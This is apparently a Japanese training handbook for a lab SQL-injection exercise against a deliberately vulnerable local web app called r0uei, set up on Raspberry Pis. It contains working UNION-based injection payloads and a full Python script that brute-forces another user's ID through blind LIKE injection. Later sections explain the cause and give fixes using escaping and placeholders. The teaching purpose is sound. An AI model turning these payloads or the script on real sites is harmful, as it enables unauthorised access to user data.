owned this note
owned this note
Published
Linked with GitHub
# サイバー攻撃演習 手順書
## 目次
1. 概要
2. 準備
1. ハードウェア
2. ソフトウェア
3. 攻撃手順
4. 対策と修正方法
5. 付録
1. トラブルシューティング
2. Raspberry Pi 4の準備
## 概要
- SQL injectionとは、サイトのデータベースを管理するSQL文を自由に発行できてしまい、システムに想定外で不適切な動作をさせることができる脆弱性。
- アプリケーションの脆弱性とは、データベース内のデータに不正にアクセスできてしまうというもの。攻撃者はSQL injectionを使ってサイトの情報にアクセスする。
- (目的)本アプリケーションを通して、SQL injectionの基本的な概要を学び、実際に攻撃を行うことで危険性を理解するともに脆弱性を修正(回避)する方法を理解する。
- ゴール
yu1hpaというユーザーのプロフィール画面を表示する。
またそれ以外のユーザーのプロフィールも見れるようにする。
## 準備
### ハードウェア
必要なもの(3セット分)
- LANケーブル:1セットにつき3本
- HDMIケーブル:1セットにつき1本
- ディスプレイ電源ケーブル:1セットにつき1本
- RaspberryPi4電源ケーブル:1セットにつき3本
- L2スイッチ電源ケーブル
- L2スイッチ(3セット共有)
- Raspberry Pi4 Computer Model B (4GB RAM) 3台 (攻撃されるwebサーバー) (RPi_1)
- Raspberry Pi4 Computer Model B (4GB RAM) 3台 (対策されているwebサーバー) (RPi_2)
- Raspberry Pi4 Computer Model B (4GB RAM) 3台 (攻撃用) (RPi_3)
- キーボード:3つ
- マウス 3つ
- ディスプレイ 3つ
- 予備の個数
Raspberry Pi4 Model B (4GB RAM):2個
LANケーブル:2本
HDMIケーブル:1本
ディスプレイ電源ケーブル:1本
Raspberry Pi4電源ケーブル:2本
キーボード:7つ
マウス:7つ
ディスプレイ:1つ




### ネットワーク構築図
VLAN1,2,3と独立したネットワーク
三つのRPiを、同じネットワーク上で動かす。サブネットマスクが24のネット10.1.1のVLAN011のGi1/0/1とGi1/0/3とGil/0/5に三つのRPiを接続する。同様に、サブネットマスクが24のネット10.1.2のVLAN012のGil/0/13とGil/0/15とGil/0/17に三つのRPiを接続する。サブネットマスクが24のネット10.1.3のVLAN013のGil/0/25とGil/0/27とGil/0/29に三つのRPiを接続する。
### 準備手順(概要)
1. RPi_1,RPi_2,RPi_3を各VLANに接続する。
2. L2スイッチとRPiをLANケーブルでつなぐ(赤①と橙②)
3. ディスプレイの電源コードをつなげる(青①)
7. ディスプレイとRPiをHDMIケーブルでつなぐ(青②と黄②)
8. マウス、キーボードとRPiをUSBケーブルでつなぐ(橙①)
9. ping飛ばして正しく接続できたか確認する。
### ソフトウェア
-webサーバーとなるRPi OS(raspberry pi os)とdocker
-コンピュータとなるRPi OS(raspberry pi os)とブラウザ
### 準備手順(概要)
RPi_1,RPi_2
ubuntuで
`cd r0uei && docker compose up -d`
`docker compose exec r0uei /bin/sh`
`bundle exec rake db:migrate`
`bundle exec rake db:seed`
登録したユーザーなどをリセットしたいとき
`bundle exec rake db:reset`
`bundle exec rake db:migrate`
`bundle exec rake db:seed`
## 攻撃手順
#### 1. 脆弱性を探す
攻撃を仕掛けるためにはまず攻撃対象のことを詳しく調べなくてはいけない。今回はSQL injection(SQLi)があることが分かっているので、それを主に探していく。2つぐらい適当なアカウントを作って対象のwebサイトを調べる。
##### <調べる事>
* どのような機能があるのか
* URLはどう発行されているのか
* SQLiができるのはどこか(簡単なSQLi文を打ち込んで反応を見る)
(例)`' OR 1=1` `' -- ` `" --` など
* ページソースをのぞいてみる(Ctrl+U) などなど
##### <分かったこと>
* login formやsignup formではSQLiは起こせなさそう。
* r0ueiには4つの機能がある。
-- 報告書の作成
-- 他人が書いた報告書を観覧
-- 報告書の検索
-- 自分のプロフィールを確認
* 報告作成(`http://localhost:4567/report/new`)
-- 自由な文章を投稿できるがSQLiはできなさそう
* 活動報告ログ(`http://localhost:4567/`)
-- ユーザー名、投稿した日時、投稿した内容の3つが表示される
-- fugaとyu1hpaの2人のユーザーが投稿している
* プロフィール
-- プロフィールのURLは`http://localhost:4567/users/~~~`となっており、usersのあとの文字列がおそらくUser IDだろう。複数のアカウントで調べると次のこともわかる。
-- User IDは小文字の英数字と「-」で構成されている
-- 文字数は必ず36文字になる
-- 「-」は必ず同じところに入る
* 検索 (`http://localhost:4567/search`)
-- 投稿した文章をキーワードで検索できる。ユーザー名や投稿時間で検索はできない。
-- `' -- `を打ち込むと`SQLite3::SQLException: incomplete input`が表示された。SQLiがおこなえるようだ。また使われている言語がSQLite3だということがわかる。
* ログアウトした状態で`http://localhost:4567/search`などに飛ぼうとしてもログイン画面に戻されるが、プロフィールにだけはログインしていなくてもURLを知っていれば直接アクセスできる。
--->User IDがわかれば自由に他のユーザーのプロフィールにアクセスできる。
#### 2. 調べたことから攻撃を考える
検索などでよく使われるSQL文は
`SELECT カラム名 FROM テーブル名 WHERE カラム名 LIKE '検索文字';`
のようなLIKEを使ったSELECT文であり、今回は投稿した文章のどこにキーワードが入っていても検索できたのでワイルドカードの「%」を使って
`SELECT カラム名 FROM テーブル名 WHERE カラム名 LIKE '%検索文字%';`
のように書かれていると推測できる。さらに検索で`' -- `を打ち込むと`SQLite3::SQLException: incomplete input`が表示された。このエラーが出てきたときよくあるのが元の文に「(」が含まれていて、それが正常に閉じられていないパターンだ。なので元の文に「()」が含まれていることがわかる。
`SELECT カラム名 FROM テーブル名 WHERE (カラム名 LIKE '%検索文字%');`
試しで`%')--`と入力するとすべての報告が出てくる。これは
`SELECT カラム名 FROM テーブル名 WHERE (カラム名 LIKE '%%')--%');`
このようなSQL文となり、ーー以降がコメントアウトされることによってワイルドーカードのみ(=すべての報告)が表示されるからである。
||元の文がある程度推測できたので次はカラムの数を特定していく。
まず`#')`で前方のSELECT文で何もヒットしないようにしておく。`UNION`の特徴として前後のつなげるSELECT文の返す列の数が同じでないとエラーを起こしてしまうというものがあるので
`#') UNION SELECT 1 --`
を打ち込むと
`SQLite3::SQLException: SELECTs to the left and right of UNION do not have the same number of result columns`
左右の列の数が違うというエラーが出て、列の数が1ではないことが分かる。この文で1,2,3・・・と増やしていけば列の数を特定できる。
`#') UNION SELECT 1 --`
`#') UNION SELECT 1, 2 --`||
||3に増やしたところで別のエラーが出てきた。なので列の数は3だと特定できた。
`undefined method ‘[]' for nil:NilClass`
||3つのカラム名とテーブル名を推測する。3つのカラムはそれぞれ検索で出てきたユーザー名と投稿時間、投稿内容の3つだとわかる。なので
カラム名:`user_id` `created_at` `report`
テーブル名:`reports`
||
||テーブル名とカラム名がわかったので、攻撃する文を作る。
今回はUnion Based SQLiを行う。
まずは適当に打ち込んでみる
`#') UNION SELECT user_id, user_id, user_id FROM reports --`
エラーが出てしまった。
`yday 659 out of range`
名称的にcreated_atのところで変数の範囲外に出てしまっているようだ。おそらく数値を日付に変換する処理が途中で挟まることによってエラーが出ている。ということで最後の列名だけ変える。
`#') UNION SELECT user_id, user_id, created_at FROM reports --`
||
**!すべてのユーザーのuser_idを表示することができた!**
あとは`http://localhost:4567/users/{user_id}`でプロフィールに飛ぶことができる。
### 別解
>-- User IDは小文字の英数字と「-」で構成されている
-- 文字数は必ず36文字になる
-- 「-」は必ず同じところに入る
>
この情報から別の方法でuser_idを取ることもできる。
`#' OR user_id LIKE'a%')--`
このSQL文でuser_idがaから始まるユーザーを検索できる。yu1hpaというユーザーが引っかかるまで小文字の英数字と「-」を総当たりしそれを36文字ぶん繰り返せばuser_idを知ることができる。しかしさすがに手作業では大変なのでプログラムを書いて自動化する。
今回はpythonで書いていく。(他の言語で書いても良い)
pythonでは`requests`でwebページにアクセスでき、`BeautifulSoup`で文字情報を取得できる。
```python
import requests
from bs4 import BeautifulSoup
session = requests.session()#sessionの開始
session.post(URL, data=送りたいデータ)#情報をページに送信する
session.get(URL)#URLのページの情報を取得
```
r0ueiはログインしないとURLで飛んでもログイン画面に戻されてしまうのでログインからしなければいけない。なのでまずはログイン画面のページソースを見てみる。(Ctrl+U)
```htmlmixed
<div class="login">
<form action="/auth"method="post">//(http://localhost:4567/auth)に送っている
<div>
<div class="login__input">
<div>
<p>名前</p>
<p>パスワード</p>
</div>
<div>
<input type="text" name="username" maxlength="20" />//usernameを送っている
<input type="password" name="passwd" maxlength="20" />//passwdを送っている
</div>
</div>
<input type="submit" value="ログイン" class="login__input--submit" />
</div>
```
username,passwdを`http://localhost:4567/auth`に送っていることがわかった。
```python
import requests
from bs4 import BeautifulSoup
url_login = "http://localhost:4567/auth"
session = requests.session()
USER="登録したユーザー名"
PASS="登録したパスワード"
login_info = {
"username":USER,
"passwd":PASS
}
res1 = session.post(url_login, data=login_info)
print(res1.text)#うまくログインできているか
```
これでログインすることができた。次は検索画面のページソースを見てみる。
```htmlmixed
<div class="search_wrapper">
<div class="search_form-wrapper">
<form action="/search" method="post">//(http://localhost:4567/search)に送っている
<div class="search_input_wrapper">
<div>
<input
type="text"
name="searching_text"//searching_textを送っている
maxlength="140"
placeholder="キーワード"
/>
</div>
<input type="submit" value="検索" />
</div>
</form>
</div>
<h2>検索結果</h2>
<div class="search_report"><article class="report"><span class="username">fuga</span><span class="date">2023/01/17 06:28</span><p>~~~~~</p>
</div>
```
`http://localhost:4567/search`にsearching_textを送っていることが分かった。また`class="username"`にusernameが返ってくることも分かった。
```python
SEARCH="a"
search_info = {
"searching_text":SEARCH
}
res2 = session.post(url_search, data=search_info)
soup = BeautifulSoup(res2.text, "html.parser")
users = soup.select('.username')
for a in users:
print(a.get_text())#検索されたユーザーネームを表示する
```
これで検索で引っかかったユーザー名を調べることもできるようになった。あとは検索したい文字列をSQLiに変換してくれる関数を作る。上のコードを少し変えて、
```python
def user_search(x):
SEARCH=f"#' OR user_id LIKE'{x}%')--"
search_info = {
"searching_text":SEARCH
}
res2 = session.post(url_search, data=search_info)
#print(res2.text)
soup = BeautifulSoup(res2.text, "html.parser")
users = soup.select('.username')
for a in users:
if a.get_text() == "yu1hpa":
return(True)
break
```
これで検索したSQLi文に引っかかったユーザーがyu1hpaの時にTrueを返す関数が作れた。あとはこれに`"0123456789abcdefghijklmnopqrstuvwxyz-"`を一つづつ入れていって調べるだけだが、さすがに36文字すべてで一から調べるのは時間がかかってしまう。そこで`#' OR user_id LIKE'%a%')--`このSQLi文でuser_idに「a」が入っているユーザーを検索できるのを利用して、最初に調べたいユーザーのuser_idに含まれている文字を特定してから総当たりをしていく。
```python
c = "0123456789abcdefghijklmnopqrstuvwxyz"
select_c = "-"#「-」は必ず含まれていることがわかっているためあらかじめ選んでおく
print("Character Searching ...")
for q in c:
r = "%" + q
if user_search(r):
select_c = select_c + q
print(select_c)#確認用
```
これで調べる文字をかなり絞ることができた。あとはこの中から36文字それぞれを総当たりで特定していく。
```python
pas = ""
print("user_id searching ...")
for j in range(36):#36文字分
print(f"{j+1}文字目")#わかりやすくするため
for i in select_c:
i = pas+i
if user_search(i):
pas = i
break
print("user_id is "+pas)
```
最終的なコード
```python
import requests
from bs4 import BeautifulSoup
url_login = "http://localhost:4567/auth"
url_search = "http://localhost:4567/search"
session = requests.session()
##login
USER="登録したユーザー名"
PASS="登録したパスワード"
login_info = {
"username":USER,
"passwd":PASS
}
session.post(url_login, data=login_info)
##search
def user_search(x):
SEARCH=f"#' OR user_id LIKE'{x}%')--"
search_info = {
"searching_text":SEARCH
}
res2 = session.post(url_search, data=search_info)
soup = BeautifulSoup(res2.text, "html.parser")
users = soup.select('.username')
for a in users:
if a.get_text() == "yu1hpa":
return(True)
break
c = "0123456789abcdefghijklmnopqrstuvwxyz"
select_c = "-"#「-」は必ず含まれていることがわかっているためあらかじめ選んでおく
pas = ""
print("Character Searching ...")
for q in c:
r = "%" + q
if user_search(r):
select_c = select_c + q
print("user_id searching ...")
for j in range(36):#36文字分
print(f"{j+1}文字目")#わかりやすくするため
for i in select_c:
i = pas+i
if user_search(i):
pas = i
break
print("user_id is " + pas)
```
これよりも早い処理を組めるかもしれないし、今回紹介した以外の方法でも`user_id`を盗むことができるかもしれないのでぜひ挑戦してみてほしい。
## 対策と修正方法
### 対策
1. 攻撃の解析
今回のサイバー攻撃演習で使用したWebアプリケーションでは、報告書の検索窓でSQLインジェクションを行ったことにより、自分以外のユーザーの情報(`user_id`)を得ることができた。
Webアプリケーションのソースコードを見ると、入力された文字列の検索を行うPOSTリクエストであるsearchが定義されており、ここで行われている処理の中に脆弱性があると見当をつけることができる。この処理では、次のSQL文によってデータベースに対して問い合わせを行っている。
```sql
SELECT "reports".user_id, "reports".report, "reports".created_at FROM reports WHERE (report LIKE'%<検索する文字列>%')
```
ユーザーは`/search`にアクセスして、表示されている検索窓に文字列を入力することで、
もともと用意されていたSQL文に埋め込まれることによって実際にデータベースに問い合わせを
行うSQL文が完成する。ここで、検索する文字列に対して、自分以外のユーザー情報をリークする攻撃で用いた文字列`') UNION SELECT user_id, user_id, created_at FROM reports; --`を入力する。このとき、実際にデータベースに問い合わせを行うSQL文は以下のようになる。
```sql
SELECT "reports".user_id, "reports".report, "reports".created_at FROM reports WHERE (report LIKE'%') UNION SELECT user_id, user_id, created_at FROM reports; -- %')
```
このSQL文は、テーブルreportsのuser_id, report, created_atの情報の他に、reportの位置でuser_idを表示するような検索結果を結合したような結果を返すように問い合わせを行う。
`report_component`メソッドを見ると、本来reportが表示される箇所はそのまま表示を行うような処理になっている。そのため、reportの位置にuser_idの結果を結合することでuser_idを検索結果としてそのまま表示できてしまう。
```ruby
def report_component(r_report)
user = User.find_by(user_id: r_report["user_id"])
r = "<article class=\"report\">"
r += "<span class=\"username\">#{user["username"]}</span>"
r += "<span class=\"date\">#{extract_yyyyMMdd(r_report["created_at"])}</span>"
r += "<p>#{r_report["report"]}</p>"
r += "</article>"
return r
end
```
以上から、検索窓には脆弱性があり、攻撃者はSQLインジェクションを行うことで`user_id`を取得できることが分かる。
2. SQLインジェクションが発生した原因
この脆弱性ができてしまった理由として、検索する文字列をSQL文の途中で連結するような
処理にしたためである。このような仕様にすると、検索する文字列はSQL文では文字列として扱われないといけないため、必ずシングルクォーテーションやダブルクォーテーションをくくり文字列リテラルとしなければならない。しかし、攻撃者は文字列の中でシングルクォーテーションやダブルクォーテーションを意図的に入れることで、好きな箇所で文字列リテラルを閉じることができるため、検索窓のみでSQL文の記述を自由に行うことができるようになってしまう。
3. SQlインジェクションの対策
SQLインジェクションが発生した原因より、検索する文字列がSQL文の途中で連結するような
処理にしたためであることがわかった。そのため、SQLインジェクションの対策としては、
次のような方法が挙げられる。
- シングルクォーテーションやダブルクオーテーションなどSQL文に対して意味を持つような記号をエスケープする処理を行ったあとにSQL文に連結する。
- プレースホルダを用いる
プレースホルダとは、SQL文に対して検索する文字列などのパラメータを記号で表しておき、
問い合わせを行う際には実際の値を機械的な処理で割り当てる方法である。SQLには通常、プレースホルダを用いてSQL文を組み立てる仕組みを持っている。
### 修正方法
- シングルクォーテーションをエスケープする方法
Webアプリケーション中では、`ActiveRecord::Base.connection.execute`メソッドによって検索する文字列`params[:searching_text]`を結合したSQL文が実行される。
```ruby
s = ActiveRecord::Base.connection.execute("SELECT \"reports\".user_id, \"reports\".report, \"reports\".created_at FROM reports WHERE (report LIKE'%#{params[:searching_text]}%')")
```
この`params[:searching_text]`は記号のエスケープ処理を行っていないため、シングルクォーテーションなどがSQLの記号とみなされたことによりSQLインジェクションが発生する。
そこで、これらの記号に対してエスケープを事前に行うことによって、SQLインジェクションが発生しないようにする。文字列のエスケープではgsubを用いて、正規表現によりシングルクォーテーションを探し、それをhtmlで表示するための文字コードでシングルクォーテーションを表す`'`に置き換えている。
```ruby
searching_text = params[:searching_text].gsub(/\'/, "'")
s = ActiveRecord::Base.connection.execute("SELECT \"reports\".user_id, \"reports\".report, \"reports\".created_at FROM reports WHERE (report LIKE'%#{searching_text}%')")
```
- プレースホルダによる方法
プレースホルダを用いることで、SQL文の問い合わせを行う際に実際の値を機械的な処理によって割り当てることができる。実際に値を割り当てる箇所にはクエスションマークを用いて、その後そこに割り当てる値を入力する。reportsテーブルは`app.rb`内で、Reportクラスに割り当てているので、`Report.where`を用いることで検索することができる。
```ruby
s = Report.where("report LIKE ?", "%#{params[:searching_text]}%")
```
実際にこれが実装されたサーバーにアクセスし、同様な攻撃を行ったとしてもSQLインジェクションができないことが確認できる。
## 付録
### トラブルシューティング
RaspberryPi4でbundle initしたときに`Operation not permitted - clock_gettime`が出る問題について
- libseccompを最新のものに更新する
https://takagi.blog/docker-containers-not-working-time-sync-on-raspberry-pi/
- 現在入っているものは`libseccomp2_2.5.4-1+b2_armhf.deb`
### Raspberry Pi4の準備
1. sshポート開放
microSDをPCで読み込み、空のsshファイルを追加
2. wifiの接続
```
wpa_passphrase "ESSID" "pass"
sudo nano /etc/wpa_supplicant/wpa_supplicant.conf
sudo rfkill unblock wifi
sudo ifconfig wlan0 down
sudo ifconfig wlan0 up
```
3. TimeZone設定
```
sudo raspi-config
```
4. update
```
sudo apt-get update --allow-releaseinfo-change
sudo apt-get full-upgrade
```
5. dockerのインストール
[docker install for debian](https://docs.docker.com/engine/install/debian/)
```
sudo gpasswd -a pi docker
```
6. libseccompの最新版のインストール
```
wget http://ftp.debian.org/debian/pool/main/libs/libseccomp/libseccomp2_2.5.4-1+b2_armhf.deb
sudo dpkg -i libseccomp2_2.5.4-1+b2_armhf.deb
```
7. 固定ip割り当て
```
sudo nano /etc/dhcpcd.conf
<<<
interface eth0
static ip_address=10.1.1.2/24<IP>
static routers=10.1.1.0
static domain_name_servers=8.8.8.8
>>>
```